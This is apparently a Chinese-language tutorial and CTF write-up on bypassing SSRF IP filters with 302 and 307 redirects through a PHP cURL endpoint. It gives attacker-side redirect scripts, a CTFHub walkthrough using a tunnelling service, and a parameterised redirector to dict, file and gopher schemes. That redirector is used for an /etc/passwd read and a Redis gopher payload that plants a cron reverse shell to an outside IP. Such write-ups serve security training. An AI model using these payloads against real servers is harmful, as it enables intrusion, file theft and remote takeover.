SSRF 302跳转

SSRF 302 跳转绕过技巧与实战

在某些存在 SSRF(服务器端请求伪造) 漏洞的应用中,如果后端使用 cURL 并开启了 CURLOPT_FOLLOWLOCATION,攻击者可利用 302 临时重定向 绕过内网 IP 检测,访问原本受限的内部资源。

示例:

// 目标服务端代码片段

$url = $_GET['url'];$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 自动跟随跳转curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);echo curl_exec($ch);curl_close($ch);

如果直接访问:

?url=http://127.0.0.1/flag.php会被正则 /127|172|10|192/ 拦截。但可通过外部可控服务器返回 302 跳转 到 127.0.0.1 绕过检测。

利用流程:

  • 在攻击者可控的公网服务器上创建 redirect.php:
<?php
header("Location: http://127.0.0.1/flag.php");
exit();
?>
  • 在目标网站构造请求指向该外部地址(不包含127等内网特征字符串,直接通过正则检测):
?url=http://attacker.com/redirect.php
  1. 目标服务器请求外部 URL,通过初始正则检测(无内网特征)。
  2. 外部服务器返回 302 Location: http://127.0.0.1/flag.php
  3. 因为 CURLOPT_FOLLOWLOCATION = true,cURL 自动跟随跳转访问内网资源。
  4. 内网响应内容(如 Flag)被返回给攻击者。

实战:(CTFHUB的302跳转)

(1)在/home/kali/Desktop/web目录下面创建一个nm.php,内容如下

<?php
header("Location: http://127.0.0.1/flag.php");
exit();
?>

(2)用php来起一个http服务(在/home/kali/Desktop/web目录的终端下)

php -S 0.0.0.0:80 

0.0.0.0 表示监听所有网卡,局域网也能访问。

注:80 是http的端口号,访问时不用输端口

(3)用cpolar来内网穿透(免费的)输入指令

cpolar http 80 --region us
# 将本地80端口映射到公网
#cpolar http 80
#但是默认生成的为临时隧道,他只允许你本人来访问,其他人访问就会显示      404
#解决方案:使用--region参数
#cpolar http 80 --region us
#(us指定隧道区域为美国)

(4)打开靶场ctfhub的302跳转

(5)访问如下链接

http://challenge-2901a90d50f74b2b.sandbox.ctfhub.com:10800/?url=https://1d77f0bb.cpolar.io/nm.php

ok啊,也是成功了

题外:

这里我还用了ngrok的内网穿透,进行解题,我如果直接去访问的话是访问得到的,他也是成功的跳转,但是我去搞那个题,我在那个参数后面如果拼接我这个ngrok公网服务器的php文件地址(http://challenge-2901a90d50f74b2b.sandbox.ctfhub.com:10800/?url=https://ngrok的公网ip/nm.php),他就访问不到,而且显示504,但是我直接去访问这个公网服务器上的php文件的话(https://ngrok的公网ip/nm.php),他又是可以直接跳转的

二、法二:307跳转

307跳转也是临时重定向,不过它严格保持原来的请求方法不变

<?php
header("Location: http://127.0.0.1/flag.php",true,307);
exit();
?>

三、二次绕过

厂商可能只对302跳转的首次地址做了检测,可以多次进行302跳转,从而让安全策略觉得第二次跳转还是外网地址

【1】可以尝试将跳转的url进行编码或者加密,可能会绕过让正则或者安全设备识别不出来。

【2】可以根据实际情况,对首次的安全策略进行绕过,案例如下:

访问ssrf靶标失败

图片

访问dnslog地址,发现有两次ua,一次java,一次pyton

图片

猜测第一次java的请求是做了加固,写下面的脚本进行绕过

图片

成功进入了内网的靶标,全回显ssrf

图片

四、法四

当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL

那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。

我们继续构造一个302跳转服务,代码如下302.php:

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  header("Location: $schema://$ip/$query"); 
} else {header("Location: $schema://$ip:$port/$query"); 
}

利用测试

# dict protocol - 探测Redis
dict://127.0.0.1:6379/info  
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

image-20260528161502134